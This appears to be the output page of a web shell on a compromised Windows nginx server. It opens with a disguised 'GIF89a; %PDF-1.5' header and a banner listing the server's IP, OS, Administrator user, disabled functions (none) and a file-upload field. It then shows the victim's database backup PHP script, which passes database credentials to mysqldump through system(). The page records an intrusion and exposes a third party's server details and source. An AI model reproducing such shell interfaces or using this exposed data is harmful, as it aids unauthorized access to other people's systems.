GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Admin/ |
Upload File : |
<? // Admin/backup/backup.php ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; setDebugOn(); #$skipAuthentication = true; include('application.phpinc'); // Backup the database before merge. $f_message = ''; $f_error = false; $backupFilePath = $_SESSION['DIRECTORY_ROOT'].'Admin/backup/'; $backupFilename = $_SESSION['DATABASE']['database'].'_backup_'.date("Ymd_His").".sql"; $mysqlCommandPath = 'D:/MySQL/bin/'; $backupCommand = $mysqlCommandPath.'mysqldump --opt --user='.$_SESSION['DATABASE']['username'].' --password='.$_SESSION['DATABASE']['password'].' '.$_SESSION['DATABASE']['database'].' > '.$backupFilePath.$backupFilename; if (dc()) { echo "<b>\$backupFilePath=</b>",$backupFilePath,": ",basename(__FILE__),": ",__LINE__,"<br>\n"; echo "<b>\$backupFilename=</b>",$backupFilename,": ",basename(__FILE__),": ",__LINE__,"<br>\n"; echo "<b>\$mysqlCommandPath=</b>",$mysqlCommandPath,": ",basename(__FILE__),": ",__LINE__,"<br>\n"; echo "<b>\$backupCommand=</b>",$backupCommand,": ",basename(__FILE__),": ",__LINE__,"<br>\n"; } // Perform backup. system($backupCommand); /* * / // Restore database. $restoreCommand = $mysqlCommandPath.'mysql --user='.$_SESSION['DATABASE']['username'].' --password='.$_SESSION['DATABASE']['password'].' '.$_SESSION['DATABASE']['database'].' < '.$backupFilePath.$backupFilename; echo "<b>\$restoreCommand=",$restoreCommand,"</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n"; #system($restoreCommand); /* */ $backupFound = file_exists($backupFilePath.$backupFilename); if ($backupFound) { // The backup succeeded. $f_message .= 'Backup of database succeeded.<br>'; // Compress the backup file. $compressFileName = $backupFilePath.$backupFilename.".zip"; $compressCommand = str_replace("/","\\","compress -Z ".$backupFilePath.$backupFilename." ".$compressFileName.">nul"); if (dc()) { echo "<b>\$compressFileName=</b>",$compressFileName,": ",basename(__FILE__),": ",__LINE__,"<br>\n"; echo "<b>\$compressCommand=</b>",$compressCommand,": ",basename(__FILE__),": ",__LINE__,"<br>\n"; } system($compressCommand); $compressFound = file_exists($backupFilePath.$backupFilename.".zip"); if ($compressFound) { // The compress succeeded. $f_message .= 'Compression of backup succeeded.<br>'; // Delete the uncompressed file. if(unlink($backupFilePath.$backupFilename)) { $f_message .= 'Uncompressed backup deleted.<br>'; } else { $f_message .= 'Uncompressed backup could not be deleted.<br>'; $f_error = true; } // Check if email of backup requested. if (isset($mail) && isset($mail->to)) { // Send email. } } else { // The compress failed. $f_message .= 'Compression of backup failed.<br>'; $f_error = true; } } else { // The backup failed. $f_message .= 'Backup of database failed.<br>'; $f_error = true; } if (dc()) { echo "<b>\$f_message=</b>",$f_message,": </b>",basename(__FILE__),"</b>:",__LINE__," (",__FILE__,")<br>\n"; echo "<b>\$f_error is </b>";if($f_error) { echo 'true'; } else { echo 'false'; }; echo "<b>: ",basename(__FILE__),"</b>:",__LINE__," (",__FILE__,")<br>\n"; } debugTrackEnd(); include('common/pageFooter.phpinc'); ?>